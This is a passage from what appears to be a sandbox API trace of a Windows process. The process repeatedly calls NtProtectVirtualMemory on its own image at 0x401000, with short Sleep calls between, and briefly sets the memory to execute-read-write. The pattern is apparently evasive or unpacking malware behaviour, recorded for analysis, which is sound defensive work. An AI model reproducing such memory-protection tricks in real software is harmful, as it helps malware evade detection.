NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.316] Sleep (dwMilliseconds=0x5) [0344.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.368] Sleep (dwMilliseconds=0x5) [0344.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.434] Sleep (dwMilliseconds=0x5) [0344.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.590] Sleep (dwMilliseconds=0x5) [0344.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.718] Sleep (dwMilliseconds=0x5) [0344.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.801] Sleep (dwMilliseconds=0x5) [0344.894] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.894] Sleep (dwMilliseconds=0x5) [0344.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.978] Sleep (dwMilliseconds=0x5) [0345.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.026] Sleep (dwMilliseconds=0x5) [0345.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.077] Sleep (dwMilliseconds=0x5) [0345.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.138] Sleep (dwMilliseconds=0x5) [0345.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.200] Sleep (dwMilliseconds=0x5) [0345.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.261] Sleep (dwMilliseconds=0x5) [0345.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.312] Sleep (dwMilliseconds=0x5) [0345.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.372] Sleep (dwMilliseconds=0x5) [0345.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.436] Sleep (dwMilliseconds=0x5) [0345.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.479] Sleep (dwMilliseconds=0x5) [0345.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.519] Sleep (dwMilliseconds=0x5) [0345.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.566] Sleep (dwMilliseconds=0x5) [0345.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.612] Sleep (dwMilliseconds=0x5) [0345.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.657] Sleep (dwMilliseconds=0x5) [0345.714] Sleep (dwMilliseconds=0x5) [0345.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.758] Sleep (dwMilliseconds=0x5) [0345.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.808] Sleep (dwMilliseconds=0x5) [0345.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.890] Sleep (dwMilliseconds=0x5) [0345.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.931] Sleep (dwMilliseconds=0x5) [0345.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.972] Sleep (dwMilliseconds=0x5) [0346.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.021] Sleep (dwMilliseconds=0x5) [0346.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.068] Sleep (dwMilliseconds=0x5) [0346.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.111] Sleep (dwMilliseconds=0x5) [0346.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.158] Sleep (dwMilliseconds=0x5) [0346.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.208] Sleep (dwMilliseconds=0x5) [0346.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.256] Sleep (dwMilliseconds=0x5) [0346.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.300] Sleep (dwMilliseconds=0x5) [0346.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.349] Sleep (dwMilliseconds=0x5) [0346.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.396] Sleep (dwMilliseconds=0x5) [0346.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.456] Sleep (dwMilliseconds=0x5) [0346.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.504] Sleep (dwMilliseconds=0x5) [0346.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.552] Sleep (dwMilliseconds=0x5) [0346.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.599] Sleep (dwMilliseconds=0x5) [0346.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.642] Sleep (dwMilliseconds=0x5) [0346.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.690] Sleep (dwMilliseconds=0x5) [0346.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.738] Sleep (dwMilliseconds=0x5) [0346.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.785] Sleep (dwMilliseconds=0x5) [0346.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.833] Sleep (dwMilliseconds=0x5) [0346.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.918] Sleep (dwMilliseconds=0x5) [0346.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.964] Sleep (dwMilliseconds=0x5) [0347.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.044] Sleep (dwMilliseconds=0x5) [0347.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.092] Sleep (dwMilliseconds=0x5) [0347.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.139] Sleep (dwMilliseconds=0x5) [0347.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.182] Sleep (dwMilliseconds=0x5) [0347.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.231] Sleep (dwMilliseconds=0x5) [0347.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.279] Sleep (dwMilliseconds=0x5) [0347.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.327] Sleep (dwMilliseconds=0x5) [0347.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.369] Sleep (dwMilliseconds=0x5) [0347.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.436] Sleep (dwMilliseconds=0x5) [0347.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.483] Sleep (dwMilliseconds=0x5) [0347.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.530] Sleep (dwMilliseconds=0x5) [0347.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.583] Sleep (dwMilliseconds=0x5) [0347.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.631] Sleep (dwMilliseconds=0x5) [0347.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.674] Sleep (dwMilliseconds=0x5) [0347.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.717] Sleep (dwMilliseconds=0x5) [0347.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.761] Sleep (dwMilliseconds=0x5) [0347.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.811] Sleep (dwMilliseconds=0x5) [0347.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.855] Sleep (dwMilliseconds=0x5) [0347.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.902] Sleep (dwMilliseconds=0x5) [0347.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0347.952] Sleep (dwMilliseconds=0x5) [0348.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.030] Sleep (dwMilliseconds=0x5) [0348.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.134] Sleep (dwMilliseconds=0x5) [0348.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x40) returned 0x0 [0348.184] Sleep (dwMilliseconds=0x5) [0348.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.230] Sleep (dwMilliseconds=0x5) [0348.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.280] Sleep (dwMilliseconds=0x5) [0348.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.323] Sleep (dwMilliseconds=0x5) [0348.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.372] Sleep (dwMilliseconds=0x5) [0348.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.419] Sleep (dwMilliseconds=0x5) [0348.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.472] Sleep (dwMilliseconds=0x5) [0348.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, 